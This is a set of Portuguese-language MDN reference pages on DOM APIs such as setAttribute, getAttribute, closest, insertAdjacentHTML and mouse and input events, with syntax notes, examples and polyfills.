{"title":"Element.setAttribute() - APIs da Web","text":"Element.setAttribute()\n======================\n\nAdiciona um novo atributo ou modifica o valor de um atributo existente num elemento específico.\n\nSintaxe\n-------\n```\n\nelement.setAttribute(name, value);\n```\n\n\n* `name` é o nome do atributo como string.\n* `value` é o novo valor desejado do atributo\nExemplo\n-------\n\nNo seguinte exemplo, `setAttribute()` é usado para definir o atributo `disabled` em `<button>`, desabilitado-o.\n\n\n```html\n<button>Hello World</button>\n```\n\n\n\n```js\nvar b = document.querySelector(\"button\");\n\nb.setAttribute(\"disabled\", \"disabled\");\n```\n\nNotas\n-----\n\nQuando chamado em um documento HTML, `setAttribute` lower-cases its attribute name argument.\n\nSe um atributo especificado já existe, então o valor do atributo é mudado para o valor passado para a função. Se não existe, então o atributo é criado.\n\nApesar de `getAttribute()` (en-US) retornar `null` para atributos ausentes, você precisa usar `removeAttribute()` (en-US) ao invés de `elt.setAttribute(attr, null)` para remover o atributo. Este último forçará o valor `null` para a string `\"null\"`, o que não é provavelmente o que você quer.\n\nUsar `setAttribute()` para modificar certos atributos, mais notavelmente valor em XUL, funciona inconsistentemente, como atributos específicos de valor padrão. Para acessar ou modificar os valores atuais, você deve usar as propriedades. Por exemplo, use `elt.value` ao invés de `elt.setAttribute('value', val)`.\n\nPara definir um atributo que não leva valor, assim como o atributo `autoplay` de um elemento `<audio>`, use `null` ou um valor vazio. Por exemplo: `elt.setAttribute('autoplay', '')`\n\nDOM methods dealing with element's attributes:\n\n| Not namespace-aware, most commonly used methods | Namespace-aware variants (DOM Level 2) | DOM Level 1 methods for dealing with `Attr` nodes directly (seldom used) | DOM Level 2 namespace-aware methods for dealing with `Attr` nodes directly (seldom used) |\n| --- | --- | --- | --- |\n| `setAttribute` (DOM 1) | `setAttributeNS` | `setAttributeNode` (en-US) | `setAttributeNodeNS` (en-US) |\n| `getAttribute` (DOM 1) | `getAttributeNS` (en-US) | `getAttributeNode` (en-US) | `getAttributeNodeNS` (en-US) |\n| `hasAttribute` (en-US) (DOM 2) | `hasAttributeNS` (en-US) | - | - |\n| `removeAttribute` (DOM 1) | `removeAttributeNS` (en-US) | `removeAttributeNode` (en-US) | - |\n\nEspecificação\n-------------\n\n* DOM Level 2 Core: setAttribute (introduzido em DOM Level 1 Core)\n* HTML5: APIs in HTML documents"}
{"title":"Element.scrollLeft - APIs da Web","text":"Element.scrollLeft\n==================\n\nA propriedade **Element.scrollLeft** obtem, ou define o número de pixels do contéudo de um elemento que é rolado para a esquerda.\n\nNote que se os `direction` (en-US) do elemento do elemento é rtl (direita-para-esquerda) então `scrollLeft` é `0` quando a barra de rolagem está na posição mais à direita (o início do conteúdo rolado) e então, fica cada vez mais negativa à medida que se desloca em direção ao fim do conteúdo.\n\nSintaxe\n-------\n```\n\n// Obtem o número de pixels rolado\nvar sLeft = element.scrollLeft;\n```\n\n\n*sLeft* é um inteiro representando o número de pixels do *elemento* que foi movido para a esquerda.\n```\n\n// Define o número de pixels rolado\nelement.scrollLeft = 10;\n```\n\n\n`scrollLeft` pode ser definido para qualquer valor inteiro, entretanto:\n\n* Se o elemento não pode ser rolado (ex.: ele é no overflow), `scrollLeft` é definido para 0.\n* Se definido um valor menor que 0 (maior que 0 para elementos direita-para-esquerda), `scrollLeft` é definido para 0.\n* Se o definido um valor maior que o máximo, que o conteúdo pode ser rolado, é`scrollLeft` é definido para o valor máximo.\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <style>\n #container {\n border: 1px solid #ccc;\n height: 100px;\n overflow: scroll;\n width: 100px;\n }\n #content {\n background-color: #ccc;\n width: 250px;\n }\n </style>\n    <script>\n document.addEventListener(\n \"DOMContentLoaded\",\n function () {\n var button = document.getElementById(\"slide\");\n button.onclick = function () {\n document.getElementById(\"container\").scrollLeft += 20;\n };\n },\n false,\n );\n </script>\n  </head>\n  <body>\n    <div id=\"container\">\n      <div id=\"content\">Lorem ipsum dolor sit amet.</div>\n    </div>\n    <button id=\"slide\" type=\"button\">Slide</button>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-element-scrollleft |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Element.getAttribute() - APIs da Web","text":"Element.getAttribute()\n======================\n\nResumo\n------\n\n`getAttribute()` retorna o valor de um argumento específico do elemento. Se o atributo não existir, o valor retornado será `null` ou `\"\"` (string vazia). Veja Notas para mais detalhes.\n\nSintaxe\n-------\n```\n\nvar atributo = element.getAttribute(nomeDoAtributo);\n```\n\n\nonde\n\n* `atributo` é uma string contendo o valor do `nomeDoAtributo`.\n* `nomeDoAtributo` é o nome do atributo cujo deseja se obter o valor.\nExemplo\n-------\n\n\n```js\nvar div1 = document.getElementById(\"div1\");\nvar align = div1.getAttribute(\"align\");\n\nalert(align); // mostra o valor do atributo \"align\" do elemento com id=\"div1\"\n```\n\nNotas\n-----\n\nQuando for utilizado para um elemento HTML num DOM sinalizado como documento HTML, `getAttribute()` troca de caixa alta para caixa baixa (maiúscula para minúscula) seu argumento antes de prosseguir.\n\nEssencialmente todos navegadores (Firefox, Internet Explorer, versões recentes do Opera, Safari, Konqueror, e iCab, por exemplo) retornam `null` quando o atributo especificado não existe no elemento em questão, seguindo que o esboço atual de especificações DOM diz. A velha especificação do DOM 3 Core, por sua vez, diz que correto é retornar uma *string vazia* e algumas implementações de DOM se comportam dessa forma. Por exemplo, a implementação do getAttribute no XUL (Gecko) segue as especificações do DOM 3 Core e retorna uma string vazia. Consequentemente, deve-se usar `Element.hasAttribute()` (en-US) para checar a existência do atributo antes de utilizar o `getAttribute()`caso exista a possibilidade do argumento inexistir.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEspecificação\n-------------\n\n* DOM Level 2 Core: getAttribute (introduzido em DOM Level 1 Core)\n* HTML 5: APIs nos documentos HTML"}
{"title":"Element.getElementsByClassName() - APIs da Web","text":"Element.getElementsByClassName()\n================================\n\nO método **`getElementsByClassName()`** da interface `Element` retorna um `HTMLCollection` atualizado simultaneamente que contém todos os elementos descendentes da classe ou das classes especificadas.\n\nO método `getElementsByClassName()` da interface `Document` funciona da mesma forma, exceto que atua em todo o documento, começando da raíz.\n\nSintaxe\n-------\n```\n\nvar elements = element.getElementsByClassName(names);\n```\n\n### Parâmetros\n\n`names`\n\nUma `DOMString` contendo um ou mais nomes de classes separados por espaço em branco.\n\n### Valor de retorno\n\nUm `HTMLCollection` que contém uma lista de elementos atualizada em tempo real com todos os elementos que são membros das classes especificadas em `names`.\n\nNotas de uso\n------------\n\nHabitualmente, o conjunto de elementos retornado será atualizado simultaneamente com as mudanças feitas, refletindo no estado atual da árvore DOM, no elemento em que a função foi chamada. Assim que novos elementos que satisfazem as classes contidas em `names` são adicionados na subárvore, eles imediatamente aparecem no conjunto de elementos. Em um exemplo similar, se um elemento existente que não satisfaz nenhuma classe contida em `names` tem as suas classes ajustadas para que satisfaça, ele irá instantaneamente ser adicionado ao conjunto de elementos.\n\nO oposto disso também acontece; os elementos que não satisfazerem mais as classes contidas em `name` serão removidos instantaneamente do conjunto.\n\n**Nota:** No modo quirks, o nome das classes são comparadas da forma case-insensitive. Caso contrário, considere case sensitive.\n\nExemplos\n--------\n\n### Usando uma única classe\n\nPara procurarmos elementos que incluem uma classe específica, nós apenas informamos o nome da classe ao chamar `getElementsByClassName()`:\n\n\n```js\nelement.getElementsByClassName(\"test\");\n```\n\n\nEsse exemplo retorna todos os elementos que possuem a classe `test`, e que também são filhos do elemento que possui o `id` com valor `main`:\n\n\n```js\ndocument.getElementById(\"main\").getElementsByClassName(\"test\");\n```\n\n### Usando várias classes\n\nPara retornar elementos que incluem as classes `red` and `test`:\n\n\n```js\nelement.getElementsByClassName(\"red test\");\n```\n\n### Examinando os resultados\n\nYou can use either the `item()` (en-US) method on the returned `HTMLCollection` or standard array syntax to examine individual elements in the collection. However **the following code will not work** as one might expect because `\"matches\"` will change as soon as any `\"colorbox\"` class is removed.\n\n\n```js\nvar matches = element.getElementsByClassName(\"colorbox\");\n\nfor (var i = 0; i < matches.length; i++) {\n  matches[i].classList.remove(\"colorbox\");\n  matches.item(i).classList.add(\"hueframe\");\n}\n```\n\n\nInstead, use another method, such as:\n\n\n```js\nvar matches = element.getElementsByClassName(\"colorbox\");\n\nwhile (matches.length > 0) {\n  matches.item(0).classList.add(\"hueframe\");\n  matches[0].classList.remove(\"colorbox\");\n}\n```\n\n\nThis code finds descendant elements with the `\"colorbox\"` class, adds the class `\"hueframe\"`, by calling `item(0)`, then removes `\"colorbox\"` (using array notation). Another element (if any are left) will then become `item(0)`.\n\n### Filtering the results using array methods\n\nWe can also use methods of `Array.prototype` on any `HTMLCollection` by passing the `HTMLCollection` as the method's `this` value. Here we'll find all `<div>` elements that have a class of `test`:\n\n\n```js\nvar testElements = document.getElementsByClassName(\"test\");\nvar testDivs = Array.prototype.filter.call(\n  testElements,\n  function (testElement) {\n    return testElement.nodeName === \"DIV\";\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-getelementsbyclassname |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"GlobalEventHandlers.onscroll - APIs da Web","text":"GlobalEventHandlers.onscroll\n============================\n\nA propriedade **`onscroll`** do `GlobalEventHandlers` é uma mistura de eventos `event handler` que processam eventos `scroll`.\n\nO evento `scroll` é disparado quando uma visão do documento ou um elemento foi rolado, seja por um usuário, uma API Web, ou o user agent (en-US).\n\n**Nota:** Não confunda `onscroll` com `onwheel` (en-US): `onwheel` manipula a rotação da roda do mouse, enquanto `onscroll` manipula rolagem do conteúdo do objeto.\n\nSintaxe\n-------\n```\n\ntarget.onscroll = functionRef;\n```\n\n### Valor\n\n`functionRef` é o nome de uma função ou uma expressão de função. A função recebe um `UIEvent` (en-US) objeto com um único argumento.\n\nApenas um manipulador `onscroll` pode ser associado à um objeto por vez. Para uma maior flexibilidade, você pode passar um `scroll (en-US)` evento para o `EventTarget.addEventListener()` metódo ao invés disso.\n\nExemplo\n-------\n\nEste exemplo monitora rolagens sobre o elemento `<textarea>`, e registra a posição vertical adequadamente.\n\n### HTML\n\n\n```html\n<textarea>1 2 3 4 5 6 7 8 9</textarea>\n<p id=\"log\"></p>\n```\n\n### CSS\n\n\n```css\ntextarea {\n  width: 4rem;\n  height: 8rem;\n  font-size: 3rem;\n}\n```\n\n### JavaScript\n\n\n```js\nconst textarea = document.querySelector(\"textarea\");\nconst log = document.getElementById(\"log\");\n\ntextarea.onscroll = logScroll;\n\nfunction logScroll(e) {\n  log.textContent = `Posição do scroll: ${e.target.scrollTop}`;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # eventdef-document-scroll |\n| HTML Standard # handler-onscroll |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Document: evento `scroll` (en-US)\n* Element: evento `scroll`"}
{"title":"ParentNode.childElementCount - APIs da Web","text":"ParentNode.childElementCount\n============================\n\nA propriedade **`ParentNode.childElementCount`**, do tipo \"somente leitura\" (read-only), tem como retorno um `unsigned long` que representa q quantidade de elementos filhos de um outro determinado elemento.\n\n**Nota:** Essa propriedade foi inicialmente definida na interface pura `ElementTraversal`. Como essa interface continha dois conjuntos distintos de propriedades, sendo uma destinada para `Node` que tem filhos, e outra destinada para aqueles que são filhos de fato, essas propriedades foram movidas para duas interfaces puras distintas: `ParentNode` e `ChildNode`. Nesse caso, `childElementCount` foi movido para `ParentNode`. Essa é uma alteração bastante técnica que não deve afetar a compatibilidade.\n\nSintaxe\n-------\n```\n\nvar count = node.childElementCount;\n```\n\n\n`count`\n\nvariável que recebe o valor retornado pelo método, sendo esse valor do tipo `unsigned long` (simplesmente um número inteiro).\n\n`node`\n\nObjeto que representa `Document`, `DocumentFragment`, ou `Element`.\n\nExemplo\n-------\n\n\n```js\nvar foo = document.getElementById(\"foo\");\nif (foo.childElementCount > 0) {\n  // Faz algo\n}\n```\n\nUtilizando Polyfill no IE8, IE9 e Safari\n----------------------------------------\n\nEssa propriedade não é suportada em versões anteriores ao IE9. Já no IE9 ou Safari, não será suportada somente por Objetos de `Document` e `DocumentFragment`.\n\n\n```js\n(function (constructor) {\n  if (\n    constructor &&\n    constructor.prototype &&\n    constructor.prototype.childElementCount == null\n  ) {\n    Object.defineProperty(constructor.prototype, \"childElementCount\", {\n      get: function () {\n        var i = 0,\n          count = 0,\n          node,\n          nodes = this.childNodes;\n        while ((node = nodes[i++])) {\n          if (node.nodeType === 1) count++;\n        }\n        return count;\n      },\n    });\n  }\n})(window.Node || window.Element);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-parentnode-childelementcount |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `ParentNode` e `ChildNode`.\n* Diferentes tipos de Objetos implementando as interfaces puras: `Document`, `Element`, e `DocumentFragment`."}
{"title":"input - APIs da Web","text":"input\n=====\n\nBaseline 2023\n-------------\n\nNewly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO evento `input` do DOM é disparado sincronicamente quando o valor de um elemento `<input>`, `<select>`, ou `<textarea>` é alterado. (Para elementos input com `type=checkbox` ou `type=radio`, o evento `input` não é disparado quando o usuário clica no elemento, porque o valor do atributo não é alterado.) Além disso, o evento é disparado no `contenteditable` editors quando o seu conteúdo é alterado. Nesse caso, O alvo do evento é o elemento host da edição. Se houver dois ou mais elementos que tenha `contenteditable` como true, o \"host de edição\" é o elemento antepassado mais próximo cujo pai não é editável. Similarmente, ele também é disparado no element raiz do `designMode` editors.\n\nInformações gerais\n------------------\n\nEspecificação\n\nHTML5, DOM Level 3 Events\n\nInterface\n`Event`, `InputEvent` (en-US)\nBorbulha\n\nSim\n\nCancelável\n\nNão\n\nAlvo\n\nElemento\n\nAção padrão\n\nO valor ou o conteúdo é modificado.\n\nPropriedades\n------------\n\n| Propriedade | Tipo | Descrição |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O alvo do evento (o alvo mais alto na árvore DOM). |\n| `type` Somente leitura  | `DOMString` | Tipo do evento. |\n| `bubbles` Somente leitura  | `Boolean` | Se o evento borbulha ou não. |\n| `cancelable` Somente leitura  | `Boolean` | Se o evento é cancelável, ou não. |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-input |\n| HTML Standard # handler-oninput |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `keydown (en-US)`\n* `keyup (en-US)`\n* `keypress (en-US)`\n* `input (en-US)`\n\nO evento de `change` (en-US) é relacionado. `change` dispara com menos frequência que o `input` – ele só irá disparar quando as mudanças forem finalizadas pelo usuário."}
{"title":"Element.closest() - APIs da Web","text":"Element.closest()\n=================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`Element.closest()`** retorna o ancestral mais próximo, em relação ao elemento atual, que possui o seletor fornecido como parâmetro. No caso de o elemento atual possuir o seletor, o mesmo é retornado. Caso não exista um ancestral o método retorna `null`.\n\nSintaxe\n-------\n```\n\nvar elt = element.closest(selectors);\n```\n\n### Parâmetros\n\n* *selectors* é um `DOMString` contendo uma lista de seletores, por exemplo `\"p:hover, .toto + q\"`\n* *element* é um `Element` posicionado no início da árvore de elementos a ser percorrida.\n### Valor retornado\n\n* *elt* é um `Element` selecionado como ancestral mais próximo do elemento pelo qual se iniciou a pesquisa. O valor retornado pode ser `null`.\n### Exceções\n\n* `SyntaxError` (en-US) é lançada caso o parâmetro `selectors` não seja uma string válida contendo uma lista de seletores.\nExemplo\n-------\n\n\n```html\n<article>\n  <div id=\"div-01\">\n    Esta é a div-01\n    <div id=\"div-02\">\n      Esta é a div-02\n      <div id=\"div-03\">Esta é a div-03</div>\n    </div>\n  </div>\n</article>\n```\n\n\n\n```js\nvar el = document.getElementById(\"div-03\");\n\nvar r1 = el.closest(\"#div-02\");\n// retorna o elemento com id=div-02\n\nvar r2 = el.closest(\"div div\");\n// retorna o ancestral mais próximo que é uma div dentro de uma div, nesse caso div-03 é retornada\n\nvar r3 = el.closest(\"article > div\");\n// retorna o ancestral mais próximo que é uma div e tem um article como elemento pai, nesse caso div-01 é retornada\n\nvar r4 = el.closest(\":not(div)\");\n// retorna o ancestral mais próximo que não é uma div, neste caso article é retornado\n```\n\nPolyfill\n--------\n\nPara navegadores que não suportam `Element.closest()`, mas possuem suporte para `element.matches()` (ou um prefixo equivalente, ou seja IE9+), o seguinte polyfill pode ser usado:\n\n\n```js\nif (!Element.prototype.matches)\n  Element.prototype.matches =\n    Element.prototype.msMatchesSelector ||\n    Element.prototype.webkitMatchesSelector;\n\nif (!Element.prototype.closest)\n  Element.prototype.closest = function (s) {\n    var el = this;\n    if (!document.documentElement.contains(el)) return null;\n    do {\n      if (el.matches(s)) return el;\n      el = el.parentElement;\n    } while (el !== null);\n    return null;\n  };\n```\n\n\nContudo, se você de fato precisa dar suporte ao IE 8, você pode usar o polyfill abaixo, o qual é lento mas eficaz. Além disso, ele só garante suporte a seletores CSS 2.1 no IE 8 e ainda pode causar picos de lentidão em websites em produção.\n\n\n```js\nif (window.Element && !Element.prototype.closest) {\n  Element.prototype.closest = function (s) {\n    var matches = (this.document || this.ownerDocument).querySelectorAll(s),\n      i,\n      el = this;\n    do {\n      i = matches.length;\n      while (--i >= 0 && matches.item(i) !== el) {}\n    } while (i < 0 && (el = el.parentElement));\n    return el;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-closest① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `Element`.\n* A sintaxe em Seletores\n* Outros métodos que aceitam seletores: `element.querySelector()` e `element.matches()`."}
{"title":"Element.removeAttribute() - APIs da Web","text":"Element.removeAttribute()\n=========================\n\n`removeAttribute` remove um atributo de um elemento específico.\n\nSintaxe\n-------\n```\n\nelement.removeAttribute(attrName);\n```\n\n\n* `attrName` é o nome, em formato de texto (*string*), do atributo a ser removido do `element`*.*\nExemplo\n-------\n```\n\n// <div id=\"div1\" align=\"left\" width=\"200px\">\ndocument.getElementById(\"div1\").removeAttribute(\"align\");\n// agora: <div id=\"div1\" width=\"200px\">\n```\n\nObservação\n----------\n\nVocê deve usar `removeAttribute` ao invés de atribuir `null` ao atributo usando setAttribute.\n\nTentar remover um atributo que não existe no elemento não fará que uma exceção seja lançada.\n\nDOM methods dealing with element's attributes:\n\n| Not namespace-aware, most commonly used methods | Namespace-aware variants (DOM Level 2) | DOM Level 1 methods for dealing with `Attr` nodes directly (seldom used) | DOM Level 2 namespace-aware methods for dealing with `Attr` nodes directly (seldom used) |\n| --- | --- | --- | --- |\n| `setAttribute` (DOM 1) | `setAttributeNS` | `setAttributeNode` (en-US) | `setAttributeNodeNS` (en-US) |\n| `getAttribute` (DOM 1) | `getAttributeNS` (en-US) | `getAttributeNode` (en-US) | `getAttributeNodeNS` (en-US) |\n| `hasAttribute` (en-US) (DOM 2) | `hasAttributeNS` (en-US) | - | - |\n| `removeAttribute` (DOM 1) | `removeAttributeNS` (en-US) | `removeAttributeNode` (en-US) | - |\n\nEspecificação\n-------------\n\nDOM Level 2 Core: removeAttribute (introduzido no DOM Level 1 Core)"}
{"title":"mousedown - APIs da Web","text":"mousedown\n=========\n\nO evento `mousedown` é ativado quando um botão de um dispositivo apontador é pressionado sobre um elemento.\n\nInformação geral\n----------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`MouseEvent`\nBubbles\n\nSim\n\nCancelável\n\nSim\n\nAlvo\n\nElemento\n\nAção Padrão\n\nVaria: Inicia um operação de arrastar/soltar; inicia a seleção de texto; inicia a interação de rolagem/arrastar (junto do botão do meio do mouse, se suportado)\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O alvo do evento (o alvo mais alto na árvore do DOM). |\n| `type` Somente leitura  | `DOMString` | O tipo de evento |\n| `bubbles` Somente leitura  | Boolean | Whether the event normally bubbles or not |\n| `cancelable` Somente leitura  | `Boolean` | O evento é cancelável ou não? |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` do documento) |\n| `detail` Somente leitura  | `long` (`float`) | Um número de cliques consecutivos que aconteceu num pequeno espaço de tempo, acrescido em um. |\n| `currentTarget` Somente leitura  | `EventTarget` | O nó que teve o listener do evento anexado. |\n| `relatedTarget` Somente leitura  | `EventTarget` | Para os eventos `mouseover`, `mouseout`, `mouseenter` e `mouseleave`: o alvo do evento complementar (o alvo do `mouseleave` no caso de um evento `mouseenter`). Caso contrário, `null`. |\n| `screenX` Somente leitura  | long | A coordenada X do mouse baseada nas coordenadas globais (tela). |\n| `screenY` Somente leitura  | long | A coordenada Y do mouse baseada nas coordenadas globais (tela). |\n| `clientX` Somente leitura  | long | A coordenada X do ponteiro do mouse baseada nas coordenadas locais (conteúdo do DOM). |\n| `clientY` Somente leitura  | long | A coordenada Y do ponteiro do mouse baseada nas coordenadas locais (conteúdo do DOM). |\n| `button` Somente leitura  | unsigned short | O número do botão que foi pressionado quando o evento mouse foi ativado: Botão esquerdo = 0, botão do meio = 1 (se presente), botão direito = 2. Para os mouses configurados para uso por canhotos onde as ações do mouse são invertidas, os valores são lidos da direita para a esquerda. |\n| `buttons` Somente leitura  | unsigned short | Os botões pressionados que foram pressionados quando o evento do mouse foi ativado: Botão esquerdo = 1, botão direito = 2, botão do meio (roda) = 4, 4º botão (geralmente, o \"botão de voltar\") = 8, 5º botão (geralmente, o \"botão de avançar\") = 16. Se dois ou mais botões são pressionados, retorna a soma lógica dos valores. Exemplo: se o Botão esquerdo e o Botão direito são pressionados, retorna 3 (=1 | 2). Mais informações. |\n| `mozPressure` Somente leitura  | float | A quantidade de pressão aplicada a um dispositivo touch ou tablet quando o evento estava sendo gerado; este valor varia entre 0.0 (pressão mínima) e 1.0 (pressão máxima). |\n| `ctrlKey` Somente leitura  | boolean | `true` se a tecla control estava pressionada quando o evento foi ativado. Caso contrário, `false`. |\n| `shiftKey` Somente leitura  | boolean | `true` se a tecla shift estava pressionada quando o evento foi ativado. Caso contrário, `false`. |\n| `altKey` Somente leitura  | boolean | `true` se a tecla alt estava pressionada quando o evento foi ativado. Caso contrário, `false`. |\n| `metaKey` Somente leitura  | boolean | `true` se a tecla meta estava pressionada quando o evento foi ativado. Caso contrário, `false`. |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-mousedown |\n| HTML Standard # handler-onmousedown |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `mouseup (en-US)`\n* `mousemove (en-US)`\n* `click (en-US)`\n* `dblclick (en-US)`\n* `mouseover (en-US)`\n* `mouseout (en-US)`\n* `mouseenter (en-US)`\n* `mouseleave (en-US)`\n* `contextmenu (en-US)`"}
{"title":"Document.height - APIs da Web","text":"Document.height\n===============\n\n**Nota:** A partir do Gecko 6.0, `document.height` não é mais suportado. Em seu lugar use `document.body.clientHeight`. Veja `element.clientHeight`.\n\nSumário\n-------\n\nRetorna a altura do objeto `document`. Em muitos casos, isto é igual à do elemento `<body>` do documento atual.\n\nSintaxe\n-------\n```\n\nheight_value = document.height\n```\n\nExemplo\n-------\n\n\n```js\n// alert document height\nalert(document.height);\n```\n\nAlternativas\n------------\n```\n\ndocument.body.clientHeight\ndocument.documentElement.clientHeight\ndocument.documentElement.scrollHeight\n```\n\nEspecificação\n-------------\n\nHTML5\n\nVeja também\n-----------\n\n* `document.width` (en-US)\n* `Element.clientHeight`\n* `Element.scrollHeight` (en-US)"}
{"title":"Element.insertAdjacentHTML() - APIs da Web","text":"Element.insertAdjacentHTML()\n============================\n\nResumo\n------\n\n`insertAdjacentHTML` analisa o texto especificado como HTML ou XML e insere os nós que resultam na árvore DOM em uma posição especificada. Não reanalisa o elemento que está a ser utilizado e, portanto, não corrompe os elementos existentes dentro do elemento. Esta, e evitando a etapa extra de serialização, torna-o muito mais rápido do que a manipulação direta innerHTML.\n\nSintaxe\n-------\n```\n\nelement.insertAdjacentHTML(posição, texto);\n```\n\n\n**`Posição`** é a posição em relação ao elemento, e deve ser um dos seguintes tipos:\n\n`'beforebegin'`\n\nAntes do elemento.\n\n`'afterbegin'`\n\nDentro do elemento, antes de seu primeiro filho (childNode).\n\n`'beforeend'`\n\nDentro do elemento, após seu último filho (childNode) .\n\n`'afterend'`\n\nApós o elemento.\n\n`texto` é a string a ser analisada como HTML ou XML e inserido na árvore.\n\n### Visualização da posição de nomes\n\n\n```html\n<!-- beforebegin -->\n<p>\n  <!-- afterbegin -->\n  foo\n  <!-- beforeend -->\n</p>\n<!-- afterend -->\n```\n\n\n**Nota:** As posições beforeBegin e afterEnd funcionam apenas se o nó está em uma árvore DOM e tem um elemento pai.\n\nExemplo\n-------\n\n\n```js\n// Estrutura inicial:\n// <div id=\"one\">one</div>\n\nvar d1 = document.getElementById(\"one\");\nd1.insertAdjacentHTML(\"afterend\", '<div id=\"two\">two</div>');\n\n// Neste ponto, a nova estrutura é:\n// <div id=\"one\">one</div>\n// <div id=\"two\">two</div>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Parsing and Serialization # dom-element-insertadjacenthtml |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Node.insertBefore()`\n* `Node.appendChild()` (mesmo efeito de `beforeend`)\n* hacks.mozilla.org guest post por Henri Sivonen incluem benchmarks que demonstram que insertAdjacentHTML pode ser bem rápido em alguns casos."}
{"title":"Element.attributes - APIs da Web","text":"Element.attributes\n==================\n\nA propriedade **`Element.attributes`** retorna uma coleção de todos os atributos registrados para um nó especificado. É um `NamedNodeMap` (en-US), e não um `Array`, então não há os métodos de um `Array` e os nós indexados `Attr` podem ser diferentes entre os navegadores. Para ser mais específico, `attributes` é um par de chave/valor de strings que representa qualquer informação relacionada ao atributo.\n\nSintaxe\n-------\n```\n\nvar attr = element.attributes;\n```\n\nExemplo\n-------\n\n### Exemplos básicos\n\n\n```js\n// Obtem o primeiro elemento <p> no documento\nvar para = document.getElementsByTagName(\"p\")[0];\nvar atts = para.attributes;\n```\n\n### Listando os atributos dos elementos\n\n Indexadores numéricos são úteis para percorrer através de todos os atributos de um elemento.\n O exemplo a seguir percorre através dos nós dos atributos do elemento no documento que tenha o id de \"p1\", e imprime o valor de cada atributo.\n\n\n```html\n<!doctype html>\n\n<html>\n  <head>\n    <title>Exemplo com atributos</title>\n    <script type=\"text/javascript\">\n function listAttributes() {\n var paragraph = document.getElementById(\"paragraph\");\n var result = document.getElementById(\"result\");\n\n // Antes, vamos verificar se o paragrafo tem algum atributo\n if (paragraph.hasAttributes()) {\n var attrs = paragraph.attributes;\n var output = \"\";\n for (var i = attrs.length - 1; i >= 0; i--) {\n output += attrs[i].name + \"->\" + attrs[i].value;\n }\n result.value = output;\n } else {\n result.value = \"Nenhum atributo para mostrar\";\n }\n }\n </script>\n  </head>\n\n  <body>\n    <p id=\"paragraph\" style=\"color: green;\">Paragrafo de exemplo</p>\n    <form action=\"\">\n      <p>\n        <input\n type=\"button\"\n value=\"Mostra o nome e o valor do atributo\"\n onclick=\"listAttributes();\" />\n        <input id=\"result\" type=\"text\" value=\"\" />\n      </p>\n    </form>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-element-attributes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `NamedNodeMap` (en-US), a interface do objeto retornado\n* Considerações sobre a compatibilidade entre os navegadores: em quirksmode"}
{"title":"Element.className - APIs da Web","text":"Element.className\n=================\n\nSumário\n-------\n\n**className** retorna e define o valor do atributo `class` do elemento especificado.\n\nSyntax\n------\n```\n\nvar cName = elementNodeReference.className;\nelementNodeReference.className = cName;\n```\n\n\n* *cName* sendo uma variável de texto (string) que represente uma única classe, ou múltiplas classes (separadas por um espaço) do elemento selecionado.\nExemplo\n-------\n\n\n```js\nvar element = document.getElementById(\"div1\");\n\nif (element.className === \"fixed\") {\n  // verifica a partir de uma classe específica do elemento\n  goNextElement();\n}\n```\n\nNotas\n-----\n\n`O nome className` é utilizado para esta propriedade ao invés de `class` por conta de conflitos com a palavra-chave \"class\" em variáveis linguagens que são utilizadas para manipulação do DOM.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-classname① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `element.classList`"}
